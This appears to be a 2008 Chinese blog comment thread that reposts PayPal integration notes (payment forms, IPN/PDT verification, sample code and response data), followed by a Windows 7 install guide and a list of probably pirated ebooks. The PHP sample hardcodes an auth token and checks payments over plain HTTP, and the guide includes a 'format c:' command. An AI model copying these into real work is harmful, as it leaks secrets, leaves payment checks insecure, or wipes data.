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re: PayPal信用卡支付接口(PHP) 聂文龙 2008-12-10 15:55
2008年10月22日 星期三 上午 11:13
<form target="paypal" action="" method="post" name="paypal" id="paypal">
<input type="hidden" name="add" value="10">
<input type="hidden" name="cmd" value="_cart">
<input type="hidden" name="business" value=xiawei0809@163.com><!--palpay-->
<input type="hidden" name="item_name" value="cpname"><!--商品名称-->
<input type="hidden" name="amount" value="10.00"><!--单价-->
<input type="hidden" name="no_shipping" value="10">
<input type="hidden" name="no_note" value="1">
<input type="hidden" name="currency_code" value="CNY"><!--交易币种人民币-->
<input type="hidden" name="quantity" value="1"><!--交易数量-->
<!--<input type="hidden" name="currency_code" value="USD">币种美元-->
<!--<input type="hidden" name="charset" value="GBK"> -->
<input type="hidden" name="weight" value="2">
<input type="hidden" name="weight_unit" value="kgs">
<input type="hidden" name="lc" value="english"><!--显示页面语言 -->
<input type="hidden" name="bn" value="PP-BuyNowBF">
</form>
<script language="javascript">
function formsubmit()
{
   document.paypal.action="https://www.paypal.com/cgi-bin/webscr";
   document.paypal.target="_parent";
   document.paypal.submit();
}
formsubmit()
</script>
re: PayPal信用卡支付接口(PHP) 聂文龙 2008-12-10 15:53
2008年10月22日 星期三 下午 01:39
protected void shopBasketCheckout_OnServerClick(object source,EventArgs e)
{
 string postData = "";
 postData += "currency_code=GBP";
 postData += "&cmd=_cart";
 postData += "&business=youremailaddress@yourdomain.net";
 postData += "&upload=1";
 postData += "&cancel_return=www.davidmillington.net";
 DataTable dtBasket = getBasketDt();
 double total = 0.00;
 for(int i = 0; i < dtBasket.Rows.Count; i++)
 {
  postData += "&item_name_" + (i + 1) + "=" +
  dtBasket.Rows[i]["name"];
  postData += "&quantity_" + (i + 1) + "=" +
  dtBasket.Rows[i]["quantity"];
  postData += "&amount_" + (i + 1) + "=" +
  Convert.ToDouble(dtBasket.Rows[i]["price"]);
  total += (Convert.ToDouble(dtBasket.Rows[i]
["price"]) * Convert.ToInt32(dtBasket.Rows[i]["quantity"]));
  if(i == dtBasket.Rows.Count - 1)
  {
   postData += "&shipping_" + (i + 1) + "=" + calcDeliveryCost(total);
  }
  else
  {
   postData += "&shipping_" + (i + 1) + "=0.00";
  }
  postData += "&shipping2_" + (i + 1) + "=0.00";
  postData += "&handling_" + (i + 1) + "=0.00";
 }
 postData += "&handling=" + calcDeliveryCost(total);
 byte[] data = Encoding.ASCII.GetBytes(postData);
 HttpWebRequest ppRequest = (HttpWebRequest)
WebRequest.Create("https://www.paypal.com/cgi-bin/webscr");;
 ppRequest.Method = "POST";
 ppRequest.ContentType = "application/x-www-form-
 urlencoded";
 ppRequest.ContentLength = data.Length;
 //发送
 Stream ppStream = ppRequest.GetRequestStream();
 ppStream.Write(data, 0, data.Length);
 ppStream.Close();
 //接收
 HttpWebResponse ppResponse = (HttpWebResponse)ppRequest.GetResponse();
 StreamReader sr = new StreamReader(ppResponse.GetResponseStream());
 string strResult = sr.ReadToEnd();
 sr.Close();
 //输出到屏幕
 Response.Clear();
 Response.Write(strResult);
 Response.End();
}
re: PayPal信用卡支付接口(PHP) 聂文龙 2008-12-10 15:50
PayPal在线支付接口
2008-12-04 17:59
开设Sandbox帐号
但代码的调试是一件很痛苦的事情,因为作为第三方开发人员,不可能开两个帐号,每次测试还要之间交易一些钱,所以Paypal专门开发了Sandbox给开发人员进行开发,首先到
https://developer.paypal.com/ 注册一个开发帐号,好了之后再进入Sandbox建立测试用的Paypal虚拟帐号(至少应该建立一个Business的和一个Personal的),这种账号注册方法和Paypal的流程一样,信息可以是假的,包括银行帐号、信用卡(其实Paypal Sandbox会自动生成一些随机的号码)。接下来需要激活Paypal Sandbox的虚拟帐号,注意,这里不管你在Paypal Sanbox注册时填什么邮件地址,有任何发送到虚拟帐号所填邮箱的邮件都存会在开发帐号的管理界面中的Email页(导航栏上有)中。登录Sandbox的虚拟Paypal环境,还需要验证虚拟帐号的银行,这里可以随便填,然后通过Add Funds来给账户充值(想填多少填多少 920-203 920-533 )。然后,还需要激活IPN的选项,在Business的那个账户的Profile设置页面中,点击,然后点击Edit按钮,打开IPN,这里如果你使用的是固定的IPN Handle,可以直接将地址填入。

接下来,我们测试的时候,应该将Paypal接口的地址设置为
https://www.sandbox.paypal.com/cgi-bin/webscr

基本的流程
当客户向您付款时,PayPal将向位于指定 URL (type=”hidden” name=”notify_url” value=” “)的服务器发送一个通知。此通知中将包括您的客户的所有付款信息(例如,客户名称、金额),以及一段加密代码。当服务器收到通知时,它随后会将该信息(包括加密代码)发送回安全的PayPal URL。PayPal将通过检查加密字符串对交易进行身份验证。这种将 IPN 数据传回PayPal的操作防止了“欺骗”,因此您可以确保 IPN 来自PayPal。在进行验证时,PayPal会将其合法性的确认信息发送回您的服务器。

提示:要启用即时付款通知,您将需要输入一个 URL,通过它您可以接收到来自您的用户信息的通知。

启用了即时付款通知后,每次当您接收付款时您的服务器都会收到一个通知,此通知将以隐藏的“FORM POST”的方式发送到指定的 URL,并将包括所有付款信息。此页面的底部列出了通知的 FORM 变量。

每次收到来自PayPal的 IPN 时,您必须在实施订单之前完成如下所述的通知确认过程。确认列出的信息将可确保交易合法。

通知确认IPN
为了确保付款已进入您的PayPal账户,您必须验证用作“receiver_email”的电子邮件地址是否已在您的PayPal账户中注册并得到确认。

服务器收到即时付款通知后,您将需要通过构建一个发送到PayPal的 HTTP POST 对其进行确认。您的 POST 应发送到
https://www.paypal.com/cgi-bin/webscr

您必须完全按照收到表单变量时的原样发送所有收到的表单变量。您还需要将一个值为“_notify-validate”的名为“cmd”变量(例如,cmd=_notify-validate)附加到 POST 字符串。

PayPal将回复该 POST,并在回复的正文中包含一个单词“VERIFIED”或“INVALID”。当您收到 VERIFIED 回复时,您需要在实施订单之前执行若干检查:

确认“payment_status”为“Completed”,因为系统也会为其他结果(如“Pending”或“Failed”)发送 IPN。
检查“txn_id”是否未重复,以防止欺诈者重复使用旧的已完成的交易。
验证“receiver_email”是已在您的PayPal账户中注册的电子邮件地址,以防止将付款发送到欺诈者的账户 。
检查其他交易详情(如物品号和价格),以确认价格未改变完成了以上检查后,您可以使用 IPN 数据更新您的数据库,并处理购物。
如果收到“无效”通知,则应将其视为可疑通知,并应对其进行调查。

主要参数:
向PayPal提交粘贴代码时,应包括以下 4 个隐藏变量及一张图片,这就是说,您粘贴到PayPal的最短必需代码应如下:

<form action="https://www.paypal.com/row/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_xclick"> // "_xclick" 立即购买
<input type="hidden" name="business" value="you@youremail.com"> //PayPal账户上的电子邮件地址
<input type="hidden" name="item_name" value="Item Name"> //物品名称(或购物车名称)
<input type="hidden" name="currency_code" value="USD"> //定义币种以标示货币变量 值可以为 "USD"、"EUR"、"GBP"、"CAD"、"JPY"。
<input type="hidden" name="amount" value="0.00"> //物品的价格(购物车中所有物品的总价格,因为是_Xclick模式)
<input type="image" src="http://www.paypal.com/zh_XC/i/btn/x-click-but01.gif" name="submit" alt="请使用PayPal付款!">
</form>


PayPal 提供附加变量,用于自定义您的 Form Post。所有可用变量如下(变量名称必须用小写):

可用变量
business 您的PayPal账户上的电子邮件地址
quantity 物品数量。大于 1 时,会与金额相乘
item_name 物品名称(或购物车名称)。必须是字母数字字符,最多为 127 个字符
item_number 用于跟踪付款的可选传递变量。必须是字母数字字符,最多为 127 个字符
amount 物品的价格(购物车中所有物品的总价格)
shipping 该物品的运送成本
shipping2 每增加一件物品所需的运送成本
handling 手续费
tax 基于交易的税额。如果使用该变量,传递值将覆盖所有用户信息税收设置(不管买家所在位置)。
no_shipping 送货地址。如果设为 "1",则不会要求您的客户提供送货地址。该变量为可选项;如果省略或设为 "0",将提示您的客户输入送货地址
cn 可选标签,会在提示栏上显示(最多 40 个字符)
no_note 为付款加入提示。如果设为 "1",则不会提示您的客户输入提示。该变量为可选项;如果省略或设为 "0",将提示您的客户输入提示。
on0 第一选项栏名称。最多 64 个字符
os0 第一组选项值。最多 200 个字符。"on0" 必须定义,以便识别 "os0"。
on1 第二选项栏名称。最多 64 个字符
os1 第二组选项值。最多 200 个字符。"on1" 必须定义,以便识别 "os1"。
custom 决不会向您的客户显示的可选转递变量。可用于跟踪存货
invoice 决不会向您的客户显示的可选转递变量。可用于跟踪账单号
notify_url 仅与 IPN 一起使用。发送 IPN Form Post 的互联网 URL
return 您的客户完成付款后将返回的互联网 URL
cancel_return 您的客户取消付款后将返回的互联网 URL
image_url 您要用作图标的图片的互联网 URL,图片大小为 150 X 50 像素
cs 设置您的付款页面的背景色。如果设为 "1",背景色将为黑色。该变量为可选项;如果省略或设为 "0",背景色将为白色

扩展变量
PayPal 允许您粘贴扩展变量,条件是将改变以下 "cmd" 值:<input type="hidden" name="cmd" value="_xclick"> 到:

<input type="hidden" name="cmd" value="_ext-enter">
<input type="hidden" name="redirect_cmd" value="_xclick">

通过上述 "cmd" 值修改,您还可使用以下变量:

扩展变量
email 客户的电子邮件地址
first_name 客户的名。必须是字母数字字符,最多为 32 个字符
last_name 客户的姓。必须是字母数字字符,最多为 64 个字符
address1 客户地址所在国家或地区。必须是字母数字字符,最多为 100 个字符
address2 客户地址第二行。必须是字母数字字符,最多为 100 个字符
city 客户地址所在城市。必须是字母数字字符,最多为 100 个字符
state 客户地址所在州。必须是正式的 2 个字母缩写
zip 客户地址的邮政编码
night_phone_a 客户夜间联系电话号码的区号
night_phone_b 客户夜间联系电话号码前三位
day_phone_a 客户白天联系电话号码的区号
day_phone_b 客户白天联系电话号码前三位

提示:若要更改"用户信息"中的默认运费和手续费设置,请转至您的用户信息,编辑您的运费计算,然后点击"允许采用基于交易的运费"复选框。

将单个物品传递给PayPal
如果您的第三方购物车可设置成向PayPal传递单个物品,有关物品的信息将加入买家和卖家的记录日志和系统通知中。要加入该物品的信息,您需要将 HTML 格式元素粘贴至PayPal购物车流程的新版本。该过程与 #1 节"将总购物车数量传递给PayPal"描述的非常相似,不同之处在于:

将 "cmd" 变量设置到 "_cart"
更换必要的 HTML 行

<input type="hidden" name="cmd" value="_xclick"> 与<input type="hidden" name="cmd" value="_cart">

添加称为 "upload" 的新变量
在 <表格> 和 </表格> 标签之间新增以下行:<input type="hidden" name="upload" value="1">

定义物品明细
对于以下各特定物品参数,定义与通过您的合作商购物车购买的各物品对应的一组新值。将 "_x" 附加到变量名称,其中 x 是物品号码,从 1 开始,每加入一物品增加一。

item_name_x (物品 #x 需要)购物车中物品 #x 的名称。必须是字母数字字符,最多为 127 个字符
item_number_x 与购物车中物品 #x 关联的可选传递变量。必须是字母数字字符,最多为 127 个字符
amount_x (物品 #x 需要)物品 #x 的价格
shipping_x 运送物品 #x 的第一件(数量 1)的成本
shipping2_x 每增加一件运送物品 #x(数量 2 或更多)所需的运送成本
handling_x 物品 #x 的处理成本
on0_x 物品 #x 的第一选项栏名称。最多 64 个字符
os0_x 物品 #x 的第一组选项值。最多 200 个字符。"on0_x" 必须定义,以便识别 "os0_x"。
on1_x 物品 #x 的第二选项栏名称。最多 64 个字符
os1_x 物品 #x 的第二组选项值。最多 200 个字符。"on1_x" 必须定义,以便识别 "os1_x"。

为购物车中每件物品重复此设定
为您的买家购物车中的各物品加入以上表格中的一组必需的变量和任何选项变量。购物车中的第一物品必须用以 "_1" 结束的参数定义,如 "item_name_1"、"amount_1" 等。同样,第二物品应用变量 "item_name_2"、"amount_2" 等命名。提示:"_x" 值必须以一为单位按序递增,以便识别。如果从 item #1 跳到 item #3 而不定义 item #2,则第三个物品会被忽略。

要指定币种:所有货币变量(金额、运费、运费 2、手续费、税款)将以粘贴在付款上的 "currency_code" 变量指定的币种显示。因为其不是随物品不同的,无需向变量名称附加 "_x"。如果没有粘贴 "currency_code" 变量,我们将假定所有货币变量值为美元。

PayPay API
PayPal提供了多个API接口供开发者使用。在使用API之前,你必须先申请一个高级个人账户或者企业账户,同时你必须获取API 凭证供每次调用API 时使用。
一旦你获取了API凭证,您就可以调用相关的API接口了。目前,我们提供两种API接口方式,NVP和SOAP。一般来说我们推荐您使用 NVP 接口。
• Name-Value Pair(NVP)接口 – 请求和响应都是使用简单的HTTP。该接口简单易实现,适合于初级开发者和需要快速完成集成的人员;
• SOAP接口 - 请求和响应都是通过SOAP来完成。该接口适合于面向对象工程的开发;

PayPal API:NVP(名称/值对)接口
通过NVP API接口, 您只需给PayPal发送一个HTTP请求,并通过“名称=值”的形式指定请求参数,即可充分利用PayPal的API功能。

NVP API 是 PayPal 的业务功能、风险管理和业务逻辑的简单接口。NVP API 最基本的使用方法是通过到 PayPal 服务器的 HTTPS 连接发送一个 NVP 字符串,然后处理响应(也是一个 NVP 字符串)。执行 NVP API 调用的基本步骤如下:

• 为特定的 API 方法构造一个请求参数字符串。
• 通过 HTTPS 连接向 PayPal 服务器发送这个参数字符串。
• 处理服务器响应中的 NVP。

每个NVP API请求字符串包含有API用户名、API密码、所要调用API的名称及用来标识交易的令牌,如: USER=someone@unknowncompany.com&PWD=mypassword &METHOD=GetExpressCheckoutDetails&TOKEN=EC-23T233ZP3DFB...

成功的应答包含以下要素:ACK=Success ,以及一个用来标识交易的唯一令牌。 ACK=Success&TIMESTAMP=date/timeOfResponse &CORRELATIONID=debuggingToken&VERSION=2.300000&BUILD=buildNumber &TOKEN=EC-3DJ78083ES565113B&EMAIL=abcdef@anyemail.com &PAYERID=95HR9CM6D56Q2&PAYERSTATUS=verified &FIRSTNAME=John&LASTNAME=Smith...

您可以使用NVP API完成以下操作:
• 搜索已完成的交易记录,以及查询交易详情;
• 自动化后端功能,例如,捕获授权,以及处理退款等;

API Profile
进入商家账号得到相应的APIProfile,如果是以中文语言查看,在-用户信息-API 访问-中得到,其中里面申请API时,有两个选项,第一个是用签名的方式,第二种是以证书的方式来认证商家身份,当你选择下载数字证时,可以到
www.paypaltech.com/tools/pem2p12.php转换为.p12文件,也可以采用OpenSSL的命令完成,一句话搞定,要输入密码喔~。这里的链接有详细说明www.paypal.com/IntegrationCenter/ic_certificate.html

相应参考资料请参考连接www.paypal.com/IntegrationCenter/ic_expresscheckout.html 了解关于Express Checkout的原理;
在此基础上,你可以访问
www.paypal.com/IntegrationCenter/ic_nvp.html 获取相关测试代码;
关于PayPal的测试环境你可以访问
www.paypal.com/IntegrationCenter/ic_sandbox.html,
API Reference
https://www.paypal.com/IntegrationCenter/ic_api-reference.html
re: PayPal信用卡支付接口(PHP) 聂文龙 2008-12-10 15:48
paypal在线支付接口小记
2007-11-25 11:08

       最近因为工作的需要,做了一个在线购物的系统,并且是双语版本的,主要的客户还在国外.考虑到很多因素,中文版的用了网银在线的接口.这个比较简单

       英文版本用paypal接口,英语本来就一般的我不得不硬着头皮去看英文网站,在这里把它记录一下

       我主要用了下面的代码来实现.下次有空贴代码上来

      代码简单.但是测试的是很麻烦

     1.到https://developer.paypal.com/ 注册一个开发帐号,好了之后再进入Sandbox建立测试用的Paypal虚拟帐号(至少应该建立一个Business的和一个Personal的),信息可以是假的,注意:这里的至少两个测试帐号是在你所建立的开发帐号里面建立的,起初我就是注册两个开发帐号(一个Business的和一个Personal的),哇,我就太笨了.

    2.测试是很麻烦,但是是必不可少的,因为如果客户买过一次出错之后,就不会来第二次了,所以花半天时间做测试是很重要的

     3.代码帖出来给大家参考一下,我做的是不很细,支付成功后返回的结果我就没有做,因为我在测试的时候已经没有问题了,所以没有做,改天有空会完善的.

<form target="paypal" action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="image" src="images/paypal.gif" border="0" name="submit" alt="PayPal is the safer, easier way to pay - PayPal">
<input type="hidden" name="add" value="1">
<input type="hidden" name="cmd" value="_xclick"> 这里是不用它集成的购物车,如果代码是 value="_cart"表示用paypal已经做好的购物车.
<input type="hidden" name="business" value="wuyuechunhua@163.com">
<input type="hidden" name="item_name" value="BoAo International Trading<%=a%>">这个是从我网站传递过来的订单号
<input type="hidden" name="item_number" value="<%=a%>">
<input type="hidden" name="amount" value="<%=request.form("v_amount")%>">这个是价格,如何传递就不用说了吧~
<input type="hidden" name="no_note" value="1">
<input type="hidden" name="quantity" value="1">
<input type="hidden" name="currency_code" value="USD">
<input type="hidden" name="bn" value="PP-BuyNowBF">
</form>

 

这个完成了很简单,但是还需要大家测试哦.也就是去paypal注册虚拟帐号进行虚拟交易.看是否正确

re: PayPal信用卡支付接口(PHP) 聂文龙 2008-12-10 15:44
2008年08月27日 13:19

网上支付简单整理

/*本接口接口来源于网络,由于接口可能升级,年以本站不保证其有效性,如需最新接口程序,请到支付宝网站上下载*/
必要条件:
1。买家和卖家必须是paypal(贝宝)的注册用户。
2。从银行卡提取资金到贝宝帐户上,也叫充值。此后网上付费不再跟银行卡有关。

实现网上购物
卖家从贝宝网上获取按钮。

主要参数:
add:一次只能购买单种商品
upload:可以购买多种商品

购物车
<input type="hidden" name="cmd" value="_cart">

卖家的帐户
<input type="hidden" name="business" value=ziyunyang1981@sina.com>

商品名
<input type="hidden" name="item_name" value="Java">

商品编号
<input type="hidden" name="item_number" value="1001">

商品价格
<input type="hidden" name="amount" value="1.00">

商品数量-针对每一种商品
<input type="hidden" name="quantity" value="2">

货币类型 CNY:人民币,USD:美元
<input type="hidden" name="currency_code" value="CNY">

取消交易并要返回的位置
<input type="hidden" name="cancel_return" value=" http://localhost/wwwShop.php ">

交易完后自动返回的位置
<input type="hidden" name="return" value="http://localhost/wwwShop.php">

 

付款数据传输 (PDT)
返回的参数
atm:交易金额
tx:交易号
st:状态      value=Completed为交易完成标志
cc=CNY:应该是货币类型
cm=
sig=
二次返回
二次返回在程序中执行
cmd=_notify-synch(必须这么写),tx和at组合用于二次返回的参数,
at是身份标记,不是返回的参数,而是需要手动添加。
实例:
Buy.php
<input type="hidden" name="return" value="http://localhost/paypal.php">
paypal.php
<?
$req = 'cmd=_notify-synch';

$tx_token = $_GET['tx'];
$auth_token = "SJIKB64NeDhAFQg_h1H2YjTrW4EoLeDYXx-iWOvQ3uvhZs5zER1aL8EZbvW";
$req .= "&tx=$tx_token&at=$auth_token";

// post back to PayPal system to validate
$header .= "POST /cgi-bin/webscr HTTP/1.0 ";
$header .= "User-Agent: PHP/".phpversion()." ";
$header .= "Content-Type: application/x-www-form-urlencoded ";
$header .= "Content-Length: " . strlen($req) . " ";
$fp = fsockopen ('www.paypal.com', 80, $errno, $errstr, 30);
?>
二次返回的参数

成功标志
SUCCESS

first_name=%E8%80%81
last_name=%E7%89%87
address_status=unconfirmed
address_zip=100001
address_street:
address_country=China
address_country_code=CN
address_name=%E7%89%87%E8%80%81
address_city=%E5%8C%97%E4%BA%AC
address_state=%E5%8C%97%E4%BA%AC
contact_phone=01058472654    
payer_email=jinold_2%40163.com


tax=0.00
payer_id=T85NNQLW2BHJQ
payment_date=22%3A35%3A00+Sep+09%2C+2006+PDT
payment_status=Completed
charset=UTF-8

custom=
payer_status=unverified
business=jiangjun_0_1999%40163.com                         商家账号
receiver_email=jiangjun_0_1999%40163.com                    商家帐户中注册的邮件
txn_id=28267733YJ662041W                                 唯一贝宝交易号,和tx意义一样
payment_type=instant
receiver_id=8LFB8Q7WADTW4
txn_type=cart
mc_currency=CNY
residence_country=CN
payment_gross=

商品信息
num_cart_items=3                                     商品种类
mc_gross=3.00                                        总额
mc_shipping=0.00
mc_handling=0.00
item_number1=1001                                    商品1的编号
item_number2=1002
item_number3=1003
item_name1=Java                                      商品1 的名称
item_name2=C%2B%2B
item_name3=Oracle
quantity1=1                                           商品1的数量
quantity2=1
quantity3=1
mc_shipping1=0.00
mc_shipping2=0.00
mc_shipping3=0.00
mc_handling1=0.00
mc_handling2=0.00
mc_handling3=0.00
mc_gross_1=1.00                                       商品1的总额
mc_gross_2=1.00
mc_gross_3=1.00

示例代码
付款数据传输
https://www.paypal.com/us/cgi-bin/webscr?cmd=p/xcl/rec/pdt-code

即时付款通知-IPN 示例代码
https://www.paypal.com/cn/cgi-bin/webscr?cmd=p/xcl/rec/ipn-code

即时付款通知工具*
https://www.paypal.com/cn/cgi-bin/webscr?cmd=p/pdn/3p-solutions-ipntools

还有本人写的Paypal_end.php,虽然不怎样。但会有帮助的。因为按照paypal提供的代码,会出现302重定向错误。我没能解决,所以套用了网上搜索的内容

重 复 购 买
关于重复购买
Paypal不提供商家自动扣除买家资金的功能。但是会在定期的发送邮件给用户提醒用户该缴费了。
咨询电话:02128913401

纠正:paypal和贝宝的区别
贝宝是paypal在上海设立的分公司。
在功能上与paypal有一些区别
主要有:贝宝只能支持人民币业务,而paypal支持多国货币(50多种)
贝宝不支持租用和循环支付,而paypal支持。
贝宝提议,如果想要了解更详细的内容,跟paypal取得联系。

循环付款-也就是重复购买(看《租费和循环付款手册.pdf》)
租用:是对某个产品的长期租用,长期租用过程中需要定期交付租费,通过这个功能可以实现重复购买的。其实我们的标签或分类就是租给用户。而且租用时每次只能租用一个,不能像购买物品那样成批的执行,如果要租用几个标签或分类,需要多次租用。

主要参数:
<input type="hidden" name="cmd" value="_xclick-subscriptions">          必须这么写,表示这是租用

<input type="hidden" name="business" value="jinold_1@126.com">
<input type="hidden" name="item_name" value="C#Book">
<input type="hidden" name="item_number" value="20001">

<input type="hidden" name="a1" value="0.01">
<input type="hidden" name="p1" value="1">
<input type="hidden" name="t1" value="D">
<input type="hidden" name="a2" value="0.01">
<input type="hidden" name="p2" value="1">
<input type="hidden" name="t2" value="D">

<input type="hidden" name="a3" value="0.01">
<input type="hidden" name="p3" value="1">
<input type="hidden" name="t3" value="D">
*注:如果不需要试用,就直接用3就可以了,1和2是可选的
<input type="hidden" name="src" value="1">
<input type="hidden" name="sra" value="1">
<input type="hidden" name="srt" value="5">
一次返回值
tx=0HN606257Y398373R&
st=Completed&
amt=1.00&
cc=
cm=&
sig=

二次返回值
SUCCESS
payment_date=00%3A21%3A18+Sep+14%2C+2006+PDT
txn_type=subscr_payment
subscr_id=S-5XR56068625362743                             租用号
last_name=jin
residence_country=C2
item_name=C%23Book
payment_gross=1.00
mc_currency=USD
business=jinold_1%40126.com                                 商家帐号
payment_type=instant
payer_status=unverified
payer_email=jinold_2%40126.com                              租用者帐号
txn_id=0HN606257Y398373R                                 交易号
receiver_email=jinold_1%40126.com
first_name=old
payer_id=K89UE33TA6M3W
receiver_id=LVKVBHZKL8MFY
contact_phone=%2B86+58472654
item_number=20001
payment_status=Completed
payment_fee=0.33
mc_fee=0.33
mc_gross=1.00
charset=gb2312


re: PayPal信用卡支付接口(PHP) 聂文龙 2008-12-10 15:42
Paypal IPN接口开发小结
2008-12-04 18:01
Paypal IPN接口开发小结最近终于搞定了该死的Paypal ipn,特地在此留下点东西备忘。
所以paypal ipn(Instant Payment Notification),就是Paypal开发的一种能主动通知第三方卖家系统交易状态的一种机制。IPN的原理很简单,就是当产生了一个交易之后,交易状态发生变化时,如用户已经付款、或者退款、撤销时,Paypal利用常用的HTTP POST方式,将交易的一些变量提交给网站的某个页面(称之为IPN Handler),当这个页面接受到请求时候,将这些数据原封不动加上一个指示验证的cmd=_notify-validate,POST回Paypal的接口地址,如果数据正确,那么Paypal返回字符串VERIFIED,否则为INVALID,如果结果为VERIFIED,那么你的程序就可以使用这些数据进行操作。
但代码的调试是一件很痛苦的事情,因为作为第三方开发人员,不可能开两个帐号,每次测试还要之间交易一些钱,所以Paypal专门开发了Sandbox给开发人员进行开发,首先到
https://developer.paypal.com/ 注册一个开发帐号,好了之后再进入Sandbox建立测试用的Paypal虚拟帐号(至少应该建立一个Business的和一个Personal的),这种账号注册方法和Paypal的流程一样,信息可以是假的,包括银行帐号、信用卡(其实Paypal Sandbox会自动生成一些随机的号码)。接下来需要激活Paypal Sandbox的虚拟帐号,注意,这里不管你在Paypal Sanbox注册时填什么邮件地址,有任何发送到虚拟帐号所填邮箱的邮件都存会在开发帐号的管理界面中的Email页(导航栏上有)中。登录Sandbox的虚拟Paypal环境,还需要验证虚拟帐号的银行,这里可以随便填,然后通过Add Funds来给账户充值(想填多少填多少)。然后,还需要激活IPN的选项,在Business的那个账户的Profile设置页面中,点击,然后点击Edit按钮,打开IPN,这里如果你使用的是固定的IPN Handle,可以直接将地址填入。
接下来,我们测试的时候,应该将Paypal接口的地址设置为
https://www.sandbox.paypal.com/cgi-bin/webscr
最后基本的流程为:

用户在我们的网站上选择商品、放入购物车,然后检查准备支付
网站根据购物车中的商品,生成Paypal的支付表单(也是提交到上面IPN用的Paypal接口地址),包含了此次交易的一些信息(下次会专门找机会解释一下)。并在自己的数据库中生成一张订单记录。
Paypal在Session中记录下这些交易信息
用户用Paypal账户登录Paypal(Sandbox用Sandbox的虚拟帐号),复查明细,点击Pay按钮
Paypal进行交易处理,如果我们的Paypal收款帐号在接受帐款上没有什么问题(没有特别的需要在界面上“Accept”的地方),交易完成,那么Paypal会发送一个IPN,并发送提示邮件。
我们IPN Handler接受到信息,首先向Paypal进行校验,如果信息正确,然后根据信息和自己数据库中进行比对,如果无误,可以将支付信息保存,并修改订单状态。
然后Paypal会显示一个界面表示交易完成,此时如果用户点击“Return”按钮,Paypal会将用户送回我们网站指定地点。
我们网站迎接用户回来,向用户表示感谢,并进行提醒,给出订单号等等。
整个流程基本如下,不过其中有很多要注意的地方:

我们看到了,接口地址是https开头的,也就是要求使用SSL进行连接,其实Paypal Sandbox可以使用http,但是最后实际的Paypal接口,不支持http协议,所以如果你用PHP写IPN Handler脚本的话,在验证信息的代码部分,如果简简单单使用fopen、HTTP_Request之类的工具是没用的,PHP的socks库不支持SSL,应该使用curl,有两种方法,一个是使用PHP扩展中的libcurl,Paypal官方发布的SDK中便是使用的这个方法,但Paypal的SDK非常复杂,如果想自己写,可以使用
Snoopy,一个简单实用的PHP请求库(它自己说是模拟了浏览器的行为),而它使用的是Curl的可执行文件,通过管道获得结果,而非php的libcurl,所以自己cURL的主页上下载一个支持SSL的编译版本,可能还需要安装OpenSSL,不过对于Linux系统,可能应该会都带。
在支付表单中,可以自己设置notify_url字段,来指定此次交易的信息应该发送到哪个地方,这样就可以覆盖在Profile中我们的设置,另外,这个字段要进行urlencode。
我们得到的IPN信息中,status对应的便是交易状态,如Complete表示完成,首字母大写,而验证结果则是VERIFIEY或者INVALID,全部大写,具体的内容,可以查看Paypal官方的文档订单管理整合指南。
https://www.paypal.com/en_US/pdf/PP_OrderManagement_IntegrationGuide.pdf

paypal的接口php调用实例paypal-1.3.0.rar
re: 绝对超赞的壁纸网站 聂文龙 2008-12-07 13:40
硬盘安装windows7测试版实用方法(已测试)
其实这个方法有人在vista区就发过,不过看到win7安装很火,把我安装方法重述如下:
1、把镜像用虚拟光驱加载,然后拷贝到任一硬盘分区中,我的是E:\windwos7。
2、把E:\windwos7目录下的bootmgr和boot目录(其实只要里面的boot.sdi和bcd文件)拷贝到c盘根目录下,并在C盘根目录下建个sources文件夹。(原系统是vista的话需要取得权限,覆盖相应文件,取得权限的方法参照vista区的vista优化大师的右键取得管理权限法)
3、把E:\windwos7\sources下的boot.win复制到C盘下sourse文件夹。
4、用管理员身份运行cmd,然后输入c:\boot\bootsect.exe /nt60 c:
(注意,此处bootsect在c:\boot目录下),然后提示successful(即成功了!)
再将系统盘的卷名称改为英文:本地磁盘--bdcp
5、重启计算机,正在启动安装程序
6、安装程序启动,选择你要安装的语言类型,同时选择适合自己的时间和货币显示种类及键盘和输入方式。
7、出现“开始安装界面”,(要注意了,不点击“现在安装”)点左下角“修复计算机”(repair my computer)。
8、进入“系统恢复选项”,选择最后一项“命令提示符”(command prompt),进入DOS窗口。
9、执行格式化命令format c:/q(注:如C盘是FAT32格式,想转NTFS格式的话,执行format c:/fs:ntfs)。
注:此步可能需要输入卷的名称bdcp
10、安装系统,输入E:\windwos7\sources\setup.exe(注意文件路径是在E盘的windwos7文件夹下的sources文件里),之后就是正常的安装了。
联系:QQ513306007,说清楚要用这本书,呵呵... ...
附其他的相关资料:
Game Developer Magazine 1994 - 2000年,共7年的游戏开发者杂志电子版(含源码)
Graphics Programming Black Book (by Michael Abrash).zip,图形编程黑书,Id software的Michael Abrash编著
Game Programming Gems I.rar ,游戏编程精粹I、II(含源码)
Game Programming Gems II.rar
Graphics Gems I.rar ,图形学精粹I、II、III、IV、V
Graphics Gems II.rar
Graphics Gems III IBM.rar
Graphics Gems IV IBM.rar
Graphics Gems V.rar
Computer Graphics, C Version (2nd Ed.).rar ,计算机图形学C版(第二版)
half_life2_engine.zip ,半条命2游戏引擎源代码
D3DTutorial10_Half-Life2_Shading.pdf ,半条命2游戏引擎光照分析
Course.PTR.3D.Game.Engine.Programming.eBook-LinG.rar ,3D游戏引擎编程
3D Game Engine Design.rar ,3D游戏引擎设计
3D Game Engine Design source code.rar ,3D游戏引擎设计源代码
3D.Game.Programming.All.In.One.zip ,3D游戏编程大全
Game Design - Theory and Practice.rar ,游戏设计 - 理论与实践
game.programming.all.in.one.zip ,游戏编程大全
The Cg Tutorial - The Definitive Guide to Programmable Real-Time Graphics.rar ,CG指导 - 可编程实时图形权威指南
Tricks Of The 3D Game Programming Gurus - Advanced 3D Graphics And Rasterization.rar ,3D游戏编程大师技巧 - 高级3D图形和光栅化
Ultimate Game Design Building Game Worlds.rar ,终极游戏设计 - 创建游戏世界
Core.Techniques.And.Algorithms.In.Game.Programming.rar ,核心技术和算法在游戏编程
Simulating Humans.rar ,仿真人类

3D Lighting - History, Concepts, and Techniques.rar ,3D光照 - 历史,概念和技术
Lighting.Techniques.For.Real-Time.3D.Rendering.rar ,光照技术For实时3D渲染
Vector.Game.Math.Processors.zip ,向量游戏数学处理器
AI for Computer Games and Animation - A Cognitive Modeling Approach.rar ,AI(人工智能)for计算机游戏和动画 - 一个认知建模方案
AI.Game.Development.Synthetic.Creatures.With.Learning.And.Reactive.Behaviors.rar ,AI游戏开发 - 合成生物With学习和反应举止
AI.Techniques.for.Game.Programming.rar ,AI技术for游戏编程(含源码)
